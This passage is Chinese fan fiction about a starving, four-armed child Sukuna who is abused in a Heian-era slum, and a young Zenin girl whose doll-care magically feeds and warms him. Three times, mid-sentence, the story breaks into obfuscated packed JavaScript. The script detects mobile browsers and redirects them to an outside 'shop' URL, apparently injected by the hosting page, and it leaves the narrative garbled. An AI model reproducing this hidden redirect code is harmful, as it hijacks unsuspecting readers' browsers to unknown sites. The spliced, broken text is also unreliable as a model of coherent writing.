人群迅速围拢过来——徐娘半老的游女倚门斜立;衣衫褴褛的流浪汉抱着胳膊看热闹;行脚僧探头探脑……他们脸上的表情是同病相怜?不,更多的是找到比自己更惨的参照物后的、扭曲的优越感;还有几个半大孩子,捡起地上的雪块朝宿傩扔去,一边扔一边喊:“怪物!打死怪物!” 哄笑声、辱骂声、指指点点的议论声,汇成一股恶意的洪流,将悬在半空的宿傩淹没。他们嘲笑他的畸形,嘲笑他的弱小,嘲笑他偷窃的行为,更嘲笑他此刻狼狈不堪的挣扎。 在这最底层的泥潭里,他们通过肆意欺凌这个无法反抗的、连“人”都算不上的异类,来确认自己尚且“正常”、尚且拥有那么一丝可怜的“力量”和“地位”。 引手很享受这种成为目光焦点的感觉。他咧嘴笑着,目光扫过摊位上剩下的馒头,忽然伸手拿过一个,然后在众目睽睽之下,手腕一翻,将那个白胖的馒头,直接扔在了脚下积着污黑雪水和泥泞的地面上。 “噗叽”一声,馒头滚了两圈,沾满了泥污和脏雪。 “想吃?”引手低头,对着被他拎着、因为窒息和愤怒而脸颊涨红的宿傩,露出一个极其残忍的笑容,“喏,赏你的。吃啊。” 说着,他抬起穿着厚实皮靴的脚,重重地踩在那个脏污的馒头上,狠狠地碾了几下。馒头顿时变成了一滩混合着泥土、雪水和内部白色絮状的、令人作呕的糊状物。 然后,他像扔垃圾一样,将宿傩狠狠掼在那滩污秽旁边。 “吃!给老子舔干净!”他喝道,双手抱胸,居高临下地等待着,眼中满是施暴者欣赏猎物屈辱的兴奋。 宿傩摔得七荤八素,冰冷的泥水浸透了他单薄的衣衫,寒意直透骨髓。他咳嗽着,撑起身体,四只眼睛死死盯着眼前那摊被踩得稀烂的馒头残渣。 胃袋因极度的饥饿而痉挛,口腔里疯狂分泌唾液。周围的哄笑声更加响亮,夹杂着“快吃啊!”“怪物就该吃这种!”“看他那样子,哈哈!”的催促和嘲弄。 屈辱、愤怒、仇恨……如同毒火灼烧着他的五脏六腑。但他更清晰地感受到的,是那几乎要将他吞噬的、本能的饥饿,和对“活下去”的、扭曲而顽强的渴望。 他没有抬头看那些狞笑的面孔,也没有发出任何求饶或咒骂的声音。他只是猛地伸出四只瘦小的手,扑向那摊污秽,不管不顾地,将混杂着泥土、雪水和馒头碎屑的糊状物,拼命往嘴里塞!吞咽的动作粗暴而急切,喉结剧烈滚动,黑色的污渍沾满了他的嘴巴、下巴,甚至脸颊。 四只猩红的眼睛,在肮脏的小脸上睁得极大,里面没有泪水,只有一种近乎野兽般的、冰冷的倔强,对生命本身的贪婪,以及对眼前这些“人”、对这个世界的、刻骨铭心的恨意与报复欲。他吃下去的仿佛不是食物,而是将这些屈辱和仇恨一同嚼碎,咽下,化为未来某一天必将燃烧回来的烈焰。 “哈哈!看到了吗?他真的吃了!像条狗一样!”引手大笑,周围的人也爆发出更响亮的哄笑。没有人流露出丝毫同情,仿佛眼前发生的,只是一场与己无关的、残忍而有趣的街头闹剧。他们通过践踏这个比他们更底层、更“非人”的存在,来麻醉自己同样悲惨的人生,确认自己尚且活在“人类”的范畴内,享受着欺凌弱者的、虚幻的“强大”和“幸福”。 然而,引手那双见惯了各色人等的眼睛里,却精准地捕捉到了宿傩眼底深处那抹冰冷刺骨、毫不掩饰的仇恨与复仇欲。那不是一个孩童该 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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引手被他这种“死不悔改”、甚至越发冰冷的眼神看得心头火起,又觉得有些无趣。踩一块不会惨叫求饶的“石头”,确实没什么乐趣。他最后狠狠一脚踹在宿傩的肋侧,将他踢得滚出去好几圈,直到撞到巷子边冰冷的土墙才停下。 “没劲,跟打一块没声的石头似的。”引手啐了一口,拍了拍手上并不存在的灰尘,仿佛刚才只是完成了一项微不足道的消遣。他不再看墙角那团一动不动的、小小的灰色身影,转身和卖馒头的摊主打了声招呼,大摇大摆地走进了旁边一家挂着暖帘的居酒屋。 看热闹的人群见施暴者离开,主角也似乎没了动静,也渐渐觉得索然无味,低声议论着散开了。细雪依旧无声飘落,覆盖着巷子里的污秽,也试图覆盖那滩刺目的血迹和蜷缩的身影。 不知过了多久,宿傩的手指动了一下。他极其缓慢地、挣扎着,用尽全身力气,试图坐起来。每一次移动都带来碎裂般的疼痛,尤其是腹部和肋骨。他靠在冰冷的土墙上,大口喘息,咳出的气息带着血沫。 细小的雪花落在他的头发上、睫毛上,以及满是血污和黑渍的脸上,带来一点点冰凉的触感。他抬起一只颤抖的手,抹了把脸,结果只是将血污抹得更开。四只眼睛冷漠地环顾着空荡下来的巷道,那些曾经充满恶意笑声的地方,现在只剩下寒风卷着雪沫穿过的呜咽。 没有食物,还添了一身重伤。身上这件三岁起穿到现在的、老和尚留下的旧衣,早已破得不成样子,根本无法抵御这样的严寒。湿透的布料贴在身上,带走所剩无几的体温。他控制不住地打了个剧烈的寒战,牙齿咯咯作响。 会死的。 这个认知,比身体上的疼痛更清晰地浮现出来。 不是被打死,就是冻死,或者伤重不治,慢慢死在这个无人问津的角落。像一条野狗,甚至不如野狗,野狗死了或许还有同类嗅一嗅,而他,只会被当作需要清理的杂草。 强烈的绝望和不甘,如同冰冷的潮水,再次淹没了他。为什么?凭什么?就因为这多余的手和眼睛?他到底做错了什么?只是……想活下去啊…… 4. 宿傩4 禅院邸,怜的房间。 窗外,细雪无声地飘洒,将庭院里的枯山水染上一层素白。房间内没有取暖设备,但仍比外面温暖许多。 怜没有像往常一样练习枯燥的书法或女红(那是家族对女孩的基本要求)。她盘腿坐在靠近窗边的暖桌旁,矮几上摊开着一些碎布、棉絮、还有一架迷你手动缝纫机。 她浅草绿的眸子正专注地盯着手里的一小块靛蓝细棉布,那是她从一件不再穿的旧寝衣上小心剪下来的。她正在用迷你缝纫机,一针一线地,缝制一件极其微小的、娃娃尺寸的棉袄。 事情起因于几天前,她抱着那个被她“救治”好的娃娃玩耍时,无意间摩挲到娃娃身上那件破旧的灰色僧衣——布料很单薄,而且明显“短”了一截,手腕和脚踝都露在外面。 虽然娃娃是“死物”,但怜看着那露出的、冰冰凉的“肢体”,再看看窗外开始飘落的雪花,心里没来由地感到一阵不舒服。 这么冷的天,娃娃穿这么少,会“冷”吧?这个念头自然而然地冒出来。 她太小了,还不像大人一样能分清生灵与死物的区别,天然地觉得万物有灵,连娃娃也是会饿会痛的。 所以当她独自一人,她会抱着娃娃轻声说话,或者像现在这样,为它“着想”。 于是,怜决定给娃娃做一件新衣服,一件暖和的小棉袄。 裁剪对于四岁的她来说太难了,她就凭着印象和感觉,将棉布大致叠成小小的长方形,然后用缝纫机笨拙地缝起两边,留下袖口。 接着,她小心地将蓬松柔软的棉絮,一点一点塞进那小小的、还未封口的“棉袄”夹层里,再用细针密线仔细封好。 袖口和下摆,她特意缝上了从另一块碎布上拆下来的、颜色稍深的靛蓝色细边,看起来竟有几分精致。 整个过程花了她好几个下午,手指被针扎了好几下,但她一直坚持着,神情是从未有过的认真和专注。浅草绿眼眸在穿针引线时,亮着一种柔和而执拗的光。 终于,最后一针收线,一件小巧玲珑、带着手工稚拙感却充满心意的靛蓝色娃娃棉袄做好了。 怜拿起小棉袄,对着窗外透进来的、被雪映得格外明亮的天光看了又看,嘴角忍不住向上弯起,露出一个真心实意的、带着点小得意的笑容。 “做好了!”她小声宣布,仿佛完成了什么了不起的大事。 她转身,从旁边铺着软垫的盒子里,小心地捧出那个一直安静待着的四手娃娃。娃娃依旧闭着眼,缠着些旧绷带,粉色头发被她用梳子蘸水轻轻梳理过,虽然还是有点乱,但整齐了些。 “给你换上新衣服,就不冷啦。”怜对着娃娃轻声说,然后开始动手,解开娃娃身上那件画上去似的、破旧单薄的“粗布短褐”。 这“衣服”似乎是娃娃身体的一部分,质地和肤色几乎一样,只是颜色略深。当她小心地将这层“衣物”从娃娃身上“剥”下来时(这过程有点奇怪,仿佛那层薄薄的“布料”真的被脱掉了),娃娃真正的“身体”完全显露出来。 怜的动作顿住了。 浅草绿的瞳孔微微放大,盯着娃娃的身体。 那不是一个正常Q版娃娃该有的、圆润饱满的躯体。虽然只有巴掌大,但可以清晰地看到,娃娃的胸腹、手臂、腿部的“皮肤”下,骨骼的轮廓异常突出,根根肋骨清晰可数,小小的手臂和腿细得惊人,几乎就是皮包着骨头的状态! 那是一种极度的、触目惊心的“瘦”,瘦到令人心悸,仿佛一阵风就能吹散,又像那些她在画册上偶然瞥见的、遥远异邦灾荒之地孩童的影像,充满了生命被残酷消耗殆尽的无力与脆弱。 怜完全呆住了。她从未见过这样的“娃娃”。在她有限的认知里,玩偶要么是胖乎乎的可爱,要么是匀称的精致。这种瘦骨嶙峋……她下意识地伸出手指,隔着娃娃那冰凉光滑的“皮肤”,极轻极轻地,抚过那些凸出的“肋骨”轮廓。 指尖传来的触感坚硬而清晰。 一种难以言喻的情绪,猝不及防地攫住了她。心口猛地一酸,眼眶瞬间就热了。 她太小了,尚未被成人世界的复杂规则和冰冷逻辑完全浸染,心中还保留着近乎本能的、对万物有灵的朦胧感知。她分不清生灵与死物之间那条清晰的界限,很容易将自己的情感投射出去。看着娃娃这瘦得可怕的“身体”,她脑子里自然而然地冒出一个念头:它好瘦……一定是……没吃饱饭吧? 强烈的共情和心疼,毫无征兆地淹没了她。眼泪大颗大颗地滚落下来,滴在娃娃冰凉的“身体”上,也滴在她刚刚缝好的、柔软温暖的靛蓝色小棉袄上。 “不哭……得想想办法……”她一边自己掉着眼泪,一边哽咽着,手忙脚乱地拿起那件小棉袄,小心翼翼地、像对待易碎的珍宝般,将娃娃瘦小的“身体”包裹进去。棉袄的大小正好,蓬松的棉絮立刻将娃娃那嶙峋的轮廓柔和地包裹起来。她又仔细地系好棉袄侧面她用布条做的、小小的系带。 穿上新棉袄的娃娃,看上去终于不那么“可怜”了。靛蓝色的布料衬着它粉色的头发和苍白的小脸,甚至有种别样的……乖巧? 怜用袖子擦了擦自己的眼泪,吸了吸鼻子,将穿上新衣的娃娃再次轻轻抱进怀里。这一次,她感觉到的不再是单纯的冰凉,还有棉絮传递来的、一点点暖意,以及娃娃那依旧纤细、却似乎被温暖包裹了的“身体”。 她低下头,把脸颊贴在娃娃被棉袄包裹的、小小的“肩膀”上,轻声呢喃:“以后……我给你做更多衣服……不让你挨饿受冻……” 然而紧接着,粉发娃娃身上再次出现伤口,覆盖着发黄干瘦的皮肤,瘦骨嶙峋的小小身躯上新旧伤痕交错。 怜睁大眼睛,捂住嘴巴,泪水夺眶而出,宛如断线。她不知道宿傩那边发生了什么,只觉得这娃娃真可怜。 来送饭的女仆却再次被吓了一跳,正欲步入其中的脚步顿住——不断出现裂痕的诡异玩偶,鲜血、淤青、颤抖的仿生睫毛、血红眼……这些元素加在一起,让本就昏暗的古典和室显得愈发阴森,像是恐怖片的场景,叫人不寒而栗。 --- 就在令人绝望的冰冷几乎要将宿傩的思维冻结时,那种熟悉的、诡异的触感,再次毫无征兆地降临了! 首先感觉到的是脸颊。温热的、湿润的柔软布料,带着一种小心翼翼却显得慌乱的力道,正在擦拭他脸上混合着血污、黑渍和雪水的肮脏痕迹。动作有些慌乱,甚至笨拙,擦得并不干净,但那温热的触感,却如此清晰地穿透了皮肤的冰冷和麻木。 宿傩原本因绝望而有些涣散的瞳孔,猛地聚焦。他没有动,只是四只眼睛在有限的视野 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17147159|196400||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 范围内急速地、近乎疯狂地逡巡! 没有!什么都没有! 面前是空荡荡的巷道,飘落的细雪,冰冷的土墙。耳边只有风声。 可脸上的擦拭感如此真实!那温热的湿意,甚至让他被寒风冻得生疼的脸颊感到一丝细微的、熨帖般的缓解。不仅是脸颊,身上一些流血较少的擦伤处,也传来了类似的、被轻柔擦拭的感觉。 是那个“东西”……又来了。 这一次,宿傩连自嘲的力气都没有了。他只是僵直地靠在墙上,眼神空洞地“望”着眼前的虚空,任由那无形的存在,笨拙地处理着他身上的污秽和部分伤口。心中的警惕和猜疑依旧存在,但更多的是一种麻木的困惑,以及……一丝连他自己都不愿承认的、微弱的贪恋——贪恋这点在绝境中唯一感受到的、不带明显恶意的“触碰”。 ‘它到底想做什么?’ 这个疑问再次浮现。不是立刻杀死,不是折磨取乐,而是……擦拭?清理?像对待一件需要维护的……物品? 雪下得更密了些,簌簌地落在他的头发和肩膀上。寒意越来越重。就算伤口被处理了,没有御寒的衣物和食物,没有取暖的火,他依然熬不过这个夜晚。平安京冬夜的寒冷,足以带走最顽强的生命。 ‘……要冻死了……’ 他模糊地想,意识又开始因失温而飘忽。 就在这时,另一种截然不同的感觉覆盖了他。 不是擦拭,而是……包裹。 一种柔软、厚实、带着不可思议暖意的织物感,凭空出现,温柔地包裹住他冰冷颤抖的躯体。那感觉并非直接增加了衣物,更像是在他身体周围,营造出了一个无形的、温暖的“茧”。寒冷依旧从外界侵袭,但被这层暖意牢牢隔绝在外,体温流失的速度明显减缓了,甚至能感觉到一丝丝暖流渗入冰冷的皮肤。 宿傩彻底怔住了。 他低下头,看着自己依旧破烂单薄、沾满泥雪血污的衣衫,没有任何变化。但那种被温暖织物包裹的感觉,却真实不虚。寒冷带来的颤抖渐渐平复,僵硬的四肢似乎也找回了一点知觉。 这……这到底是什么? 困惑达到了顶点,甚至暂时压过了伤痛和饥饿。他想起了一些在废弃神社附近听流浪汉们提过的、关于山林精怪的传说,其中有种叫“姑获鸟”的妖怪,喜欢引诱并收养人类的孩子,给予虚假的温暖和照料,最终在第七天吃掉,然后再去寻新的孩子。 ‘是姑获鸟吗?’ 他怔怔地想,四只猩红的眼睛里映着飘落的雪花,‘因为把我当储备粮,还是因为我长得像妖怪……所以被妖怪误认成同类了?’ 这个猜测荒谬却又似乎合理。除了非人之物,还有什么会这样对待他这样一个被人类世界彻底抛弃的“怪物”? 他不知道这“温暖”的代价是什么,也不知道这无形的“妖怪”究竟有何目的。但此时此刻,在这濒死的边缘,这点来路不明、诡异莫测的暖意,却成了他唯一能抓住的东西。他闭上眼,将身体更紧地缩进那无形的、温暖的“茧”中,感受着脸上那依旧在笨拙擦拭的、温热的触感。 恨意并未消失,求生欲依旧炽烈。但在这绝望的冬夜,一丝来自未知存在的、扭曲的“照拂”,如同投入冰海的一粒火种,微弱,诡异,却真实地让他即将冻结的生命,得到了一点点……延续下去的可能。 5. 宿傩5 日子在平安京的寒风与偶尔飘落的细雪中,缓慢而艰难地推移。对于宿傩而言,时间的概念模糊不清,只有饥饿、寒冷、伤痛,以及……那个越来越频繁出现的“妖怪”的触感,构成他生存的全部刻度。 他能清晰地感知到“它”的存在。不是通过视觉或听觉(除了偶尔飘来的、模糊的女童絮语),而是通过身体最直接的感受。伤口愈合时的麻痒,皮肉被无形丝线笨拙缝合时的刺痛,清凉药粉撒落时的微凉,以及最神奇的——当饥饿感烧灼到某个临界点时,口腔里会突然凭空出现温热、柔软、带着谷物香气或咸鲜味道的“食物”。 那不是幻觉。他能咀嚼,能吞咽,能清晰地感受到食物滑过食道、落入空瘪胃袋带来的、逐渐充盈的饱腹感。有时候是带着焦香的米粒团,有时候是口感油润细腻的饼子,甚至好几次,他尝到了久违的肉味。 每一次“进食”,都伴随着一种被小心翼翼“喂送”的感觉,仿佛有一只看不见的、极其温柔(或者说,笨拙)的手,在耐心地将食物一点点送入他口中。 除了疗伤和喂食,那“妖怪”似乎还很……话痨? 宿傩蜷缩在废弃神社某个相对避风的角落,或是在贫民窟某处隐蔽的夹缝里,时常能“听”到一些断续的、带着稚气女童嗓音的絮语。声音很轻,像隔着厚厚的帷幕,又像直接响在脑海深处,模糊不清,但某些词句和情绪却能隐约捕捉。 有时候是在讲故事。讲一些光怪陆离的东西:什么夜里会自己走动的石灯笼,什么藏在井底呼唤人名的长发女人,什么会在雪地上留下巨大脚印的“雪女”……偶尔又会切换到另一种截然不同的风格,讲述遥远国度里小美人鱼化为泡沫的故事,讲到结局时,那声音会带上明显的哽咽和抽泣,仿佛感同身受。宿傩对此嗤之以鼻,泡沫?那算什么?比饿死还惨吗? 更多时候,是分享一些琐碎的日常。一个叫“直哉”的坏哥哥,如何用各种恶毒的话嘲笑她、贬低她;一个严厉的、几乎从不正眼看她的“父亲”;一个总是小心翼翼、带着恐惧眼神看她的女仆“阿绫姨”……言语间充满了委屈、难过,以及一丝不解。 宿傩听着,猩红的眼睛里没什么波澜。至少她还有个屋顶,有食物,不用为了一口吃的跟野狗拼命。她的“苦难”,在他听来,简直是无病呻吟。只要她愿意“努力”去讨好那个父亲和哥哥,或者干脆“放弃”那些无谓的期待,躺平接受现状,总归有条活路,不是吗?哪像他,连躺平的资格都没有,每一次呼吸都在挣扎。 但听着听着,一种更深层的、连他自己都不愿承认的共鸣,却悄然滋生。那种被至亲之人漠视、排斥的感觉;那种无论做什么都得不到认可、仿佛天生就是多余的孤独;那种与周围环境格格不入、无法融入任何“群体”的疏离感……虽然表现形式天差地别,但内核里的冰冷与绝望,却有着惊人的相似。 他们都是被各自世界“孤立”出来的个体,徘徊在人群的边缘,甚至之外。 尤其是当那女童的声音带着浓重的哭腔,一边抱怨着“为什么都不喜欢我”,一边似乎紧紧抱住什么东西(宿傩能同步感觉到一种温暖的、被柔软空气包裹的“拥抱”感)时,宿傩心中那堵用恨意和冷漠筑起的高墙,会泛起一丝极其细微的、连他自己都未曾察觉的裂纹。 他能清晰地区分“布料包裹”和这种“妖怪拥抱”的不同。布料是实在的、有纹理的束缚,而这种拥抱,更像是一种温暖的、蓬松的“气”或“云”,无形无质,却充满包容感,紧紧贴附着他的身躯。 他能感觉到“妖怪”的“巨大”——那怀抱广阔而温暖,完全不是他这样幼小躯体能够比拟的(事实上,只是怜作为一个四岁女童,怀抱相对于巴掌大的娃娃而言,自然显得“巨大”)。这进一步让他确信,“对方”绝非人类,而是某种拥有类人情感(甚至过于丰富和软弱)的、体型不明的精怪。 不是姑获鸟。姑获鸟喜欢婴孩,但声音和故事都太“幼稚”了,像是……一个同样孤独的、被困在某处的女童妖怪?这个猜测让他觉得有些荒谬,但又似乎是唯一合理的解释。 --- 禅院家,怜的房间已经成了她与娃娃专属的小小王国。那些精致却冰冷的家族礼仪课业,被她用各种借口能推则推,更多的时间,她都躲在这里,和她“唯一的朋友”在一起。 她盘腿坐在铺着厚厚绒毯的地板上,怀里抱着穿着靛蓝色小棉袄的娃娃。今天她的点心是一小碟刚炸好的、金黄酥脆的可乐饼,还冒着热气,咸香诱人。怜自己拿起一个咬了一口,满足地眯起眼(她偏爱咸辣口,但禅院家的饮食向来以清淡雅致为主,这种油炸点心并不常见),然后,她很自然地拿起另一个,小心地掰下一小块,用指尖捻得更细碎些,然后凑到娃娃紧闭的、线条简单的小嘴边。 “来,啊——”她模仿着记忆里母亲(或许只是乳母?)喂她吃饭时的语调,轻声哄着,将那一小撮碎屑轻轻塞进娃娃的“嘴”里。 诡异的是,那些碎屑并没有从娃娃下巴或其他地方漏出来,而是仿佛真的被“吞”了进去,消失不见。娃娃依旧安静,不声不响不动,但怜就是觉得,它“吃”了。 这一幕恰好被端着新沏的抹茶和几样精致和果子、前来更换茶点的女仆阿绫看在眼里。阿绫的脚步在门口顿住,脸上的职业性微笑瞬间僵硬,眼底掠过一丝难以掩饰的惊惧和不适。 虽然小小姐这种给娃娃“喂食”的行为已经持续了一段时间,但每次亲眼看见,阿绫还是觉得后背发凉,头皮发麻。那娃娃……太邪门了。它明明就是个玩偶,没有生命,没有消化系统,可无论是之前流的“血”,还是现在“吃”下去的食物,都分外诡异。 这娃娃到底是什么?真的有生命吗?还是说,小小姐那看似“无用”的术式,其实蕴含着某种极其诡异、连家主都未曾察觉的可怕力量? 阿绫不敢深想,强压下心头的寒意,努力让声音听起来正常:“怜小姐,茶点和热茶送来了。” 怜正全神贯注地“喂”娃娃,闻声抬起头,浅草绿的眸子看到阿绫托盘里那些摆放精美、颜色雅致却千篇一律的和果子时,并没有太大兴趣。那些甜腻的豆沙馅、寡淡的白玉团子,对她而言远不如咸香的可乐饼有吸引力。但今天或许是想给娃娃也“尝尝”不同的味道,她点了点头,脸上露出一点笑容:“拿进来吧,阿绫姨。” 阿绫本打算像往常一样,将托盘放在门口的小几上就立刻退下,但听到吩咐,也只能硬着头皮走进来。她尽量不去看怜怀里那个诡异的娃娃,目不斜视地将托盘轻轻放在怜身边的地上。 怜将吃了一小半的可乐饼放下,小心地将娃娃在怀里调整了一下姿势,让它更像一个被母亲环抱的婴儿,然后伸手从托盘里拈起一块粉白相间的、做成花瓣形状的练切和果子。果子做工极其精巧,散发着淡淡的樱花甜香。 “这个好看,给你尝尝甜的。”怜小声对娃娃说,然后像之前一样,小心地掰下一点点边 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17147160|196400||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 缘最柔软的部分,指尖碾得更细,然后轻轻地、耐心地,将这点甜腻的碎屑,一点一点塞进娃娃那张小小的、没有生命的“嘴”里。 和果子的碎屑,同样无声无息地消失了。 阿绫的余光无法控制地瞥见这一幕,胃部一阵紧缩。她再也不敢多待,匆匆行了个礼:“怜小姐请慢用,我先退下了。”说完,几乎是逃也似的离开了房间,并再次紧紧带上了门。门外,她抚着胸口,长长舒了一口气,只觉得那房间里的空气都透着说不出的诡异。 --- 冰冷的废弃神社里,宿傩正靠着一根腐朽的柱子,节省体力。腹中因为之前的“喂食”尚存些许暖意,但冬日的寒意依旧无孔不入。 突然,一股极其陌生、却美妙到令他灵魂都为之一颤的滋味,在口腔中弥漫开来。 甜。 一种纯净的、柔和的、带着淡淡樱花香的甘甜,瞬间征服了他贫瘠的味蕾。那甜味不同于他偶尔能找到的、带点自然甜味的野果,也不同于发酵食物那点微酸的甜意。这是一种精致的、人工的、充满了“富裕”和“闲暇”气息的甜。口感细腻如沙,入口即化,香气高雅。 他愣住了,甚至忘记了咀嚼(虽然也没什么可咀嚼的,那食物似乎入口便融化了)。这是……什么? 是那个“妖怪”又“喂”他东西了。但这次的东西,截然不同。它没有饱腹感,却带来了前所未有的感官冲击。他做梦都梦不到这样的味道。这一定是……很珍贵的东西吧?只有那些高高在上的贵族老爷、夫人小姐们,才能享用的点心。 “妖怪”竟然拿这种东西来喂他? 短暂的惊讶过后,一丝警惕悄然升起。乡野传说里,山精鬼怪最擅长用幻术变出美食华屋引诱人类,等人类沉迷其中,才发现吃下去的是蛆虫腐叶,住进去的是荒坟野冢。 宿傩抿了抿嘴,回味着那残留的、令人迷醉的甜味。幻术?如果是幻术,这滋味也未免太真实、太美好了些。而且……就算是蛆虫腐叶又如何?只要能填饱肚子,让他活下去,他不在乎。那“妖怪”若真想害他,早在他重伤濒死时就该动手了,何必浪费这些“幻术”食物? 更重要的是,自从这“妖怪”开始频繁出现,他的境遇发生了微妙的变化。因为有了时不时的“喂食”,他不必再频繁冒险去偷窃,挨打的次数显著减少。冬天依旧严寒彻骨,但不知为何,只要那“妖怪”出现,无论是“拥抱”还是仅仅存在于感知中,周围的寒意似乎就会减弱许多,仿佛有一层无形的暖意包裹着他,让他能在冰冷的破庙或街角,勉强维持住不被冻僵的体温。 生存的本能是最诚实的。尽管疑惑、警惕,甚至对那“女童妖怪”偶尔流露的软弱情感嗤之以鼻,但宿傩无法否认,他开始……期待“它”的出现。 期待那温热的食物落入空胃的充实感,期待那驱散寒冷的无形暖意,甚至……开始隐约期待那断续的、带着各种情绪的絮语。那是一个与他截然不同、却又在孤独深处奇异共鸣的“声音”,是他灰色绝望的世界里,唯一一抹带着温度(哪怕是诡异的温度)的色彩。 他依旧不知道那是什么,依旧抱着“非我族类”的疏离与戒备。但身体和心灵,都已经诚实地将“妖怪”的照拂,纳入了生存的方程式里,成了一个重要的、支撑性的变量。在平安京残酷的冬日,这点来路不明、伴随着女童絮语的诡异温暖,成了宿傩蜷缩在生存边缘时,内心深处一丝微弱却无法忽视的……牵绊与盼头。 6. 宿傩6 平安京的冬末,寒意并未完全消退,反而因春雪将融未融而更添湿冷。 这座庞大都城的边缘,如同一个不断吞吐着苦难的巨口,总有新的流亡者被吐纳进来。这一次,是一群从更北方、因连年歉收和严冬而彻底活不下去的农民。他们拖家带口,衣衫褴褛,面黄肌瘦,眼中混杂着对陌生之地的茫然和对生存最原始的渴望。 他们一路南下,沿途乞讨、打零工,偶尔打家劫舍,最终来到了象征着繁华与机会的平安京外围。然而,都城的高墙和森严的等级,并未向他们敞开温暖的怀抱。他们只能在更外围的荒僻地带徘徊,寻找任何可以遮风挡雨、暂且容身的角落。 宿傩寄居的那座废弃神社,便在这样的背景下,进入了这群流浪汉的视野。 神社虽然破败不堪,梁柱倾斜,壁画剥落,庭院里长满枯草,但至少还有相对完整的屋顶和几面可以阻挡寒风的墙壁,比起露宿荒野已是天堂。他们欣喜地涌入,却发现角落里早已蜷缩着一个“东西”。 那是一个四岁多的孩子,裹着件不合身的灰色僧衣,瘦小得惊人,粉色的头发乱糟糟地落在额前,令人心惊的是……他长着四只猩红色的眼睛!宽大袖口里隐约还露出了第二双手! 众人经过本能的惊愕后,陷入了沉默。 没有人想主动招惹一个看起来如此诡异的存在,尤其在这鬼神之说盛行的年代。领头的,一个脸上带着刀疤、被称为“岩哥”的汉子,皱了皱眉,粗声道:“喂,小子,这地方我们要了,你另寻去处吧。” 宿傩早在他们闯入时就醒了,四只眼睛在阴影里无声地睁开,冷冷地注视着这群不速之客。他没有动,也没有回答。离开?去哪?平安京的冬天尚未过去,凌晨和深夜的霜冻足以致命。 虽然那个“妖怪”的温暖会不时出现,但那感觉飘忽不定,如同晨雾,总是在天将亮未亮时悄然散去,直到日落后才会再次隐隐浮现。如果失去这个勉强可以称之为“遮蔽所”的破神社,在那种温暖缺席的、最寒冷的时段,他很可能直接失温而死。 他的沉默被视为抗拒。岩哥有些恼火,但看对方只是个瘦骨嶙峋的小孩(尽管模样骇人),也没立刻动手,只是招呼同伴们占据神社里相对干燥避风的其他区域,将宿傩逼缩在更阴暗寒冷的角落。双方形成了一种紧绷而脆弱的共存。 起初几天,相安无事。流浪汉们忙着用捡来的破烂搭建更舒适的窝铺,寻找一切可能入口的食物——树皮、草根、偶尔从更远的集市偷来或乞讨到的残羹冷炙。他们注意到那个四眼小孩几乎不动弹,也不见外出觅食,只是终日蜷在那里,仿佛一尊没有生命的怪异石像。 然而,随着时间的推移,一个令人毛骨悚然的疑点渐渐浮上这群饥肠辘辘的流浪汉心头:他们从未见过那孩子吃东西。一天,两天……甚至快一个月过去了,他们自己都在饥饿边缘挣扎,那孩子却依旧维持着那副半死不活的状态,既没有饿死,也没有因极度虚弱而倒下。他只是醒着,用那双猩红的四眼冷漠地观察他们,或者闭目沉睡。 恐惧开始像瘟疫一样在流浪汉中蔓延。在篝火摇曳的昏黄光线下,他们压低声音,交头接耳。 “那小子……不对劲。”一个瘦高个声音发颤,“我盯了他好几天,真的一粒米都没进过。” “是不是偷偷吃了我们不知道的东西?”有人怀疑。 “这破地方,连老鼠都快绝迹了,他能偷吃什么?”岩哥沉着脸反驳,眼神阴郁地瞟向宿傩所在的角落。 “该不会是……座敷童子吧?”一个胆子最小的年轻人怯生生地说,“听说有些妖怪扮成小孩模样,住在人家里,能带来福气……” “放屁!”立刻有人啐了一口,“你看看这鬼地方!像是能兴旺的样子吗?座敷童子会待在这种破庙?再说了,座敷童子虽然不吃人饭,但也得吃点灶台上的供品或者别的东西,咱们有啥可‘供’的?” “那……洗豆小僧?”另一人猜测,“晚上会发出‘沙沙’洗豆子的声音……” “你晚上听到洗豆子声了?”岩哥没好气地问。众人摇头。神社寂静,只有风声和鼾声。 讨论陷入了僵局,但不安的情绪却在发酵。那个瘦小的、不进食的、模样非人的存在,像一根刺,扎在他们本就充满焦虑和绝望的神经上。 “要不……咱们还是换个地方吧?”胆小的年轻人再次提议,声音几乎带上哭腔,“总觉得邪门……招惹不起。” “换?往哪换?”岩哥猛地瞪向他,压抑的怒火喷薄而出,“平安京进不去,附近的窝棚都挤满了比咱们更狠的角色!好不容易找到这么个能挡风的地方,你让老子再去睡雪地?” “可……可他万一真是……” “管他是什么!”一个脸上有烫伤疤痕、眼神凶悍的汉子打断了对话,他叫“铁熊”,是这群人里最暴躁的一个,“就算真是个什么精怪,你看他那副德行,风吹就倒的样子,能有多大神通?说不定就是个饿不死的怪物罢了!” “铁熊说得对。”另一个附和道,“咱们这么多人,还怕他一个小崽子?是妖是鬼,剁了再说!省得日夜提心吊胆。” 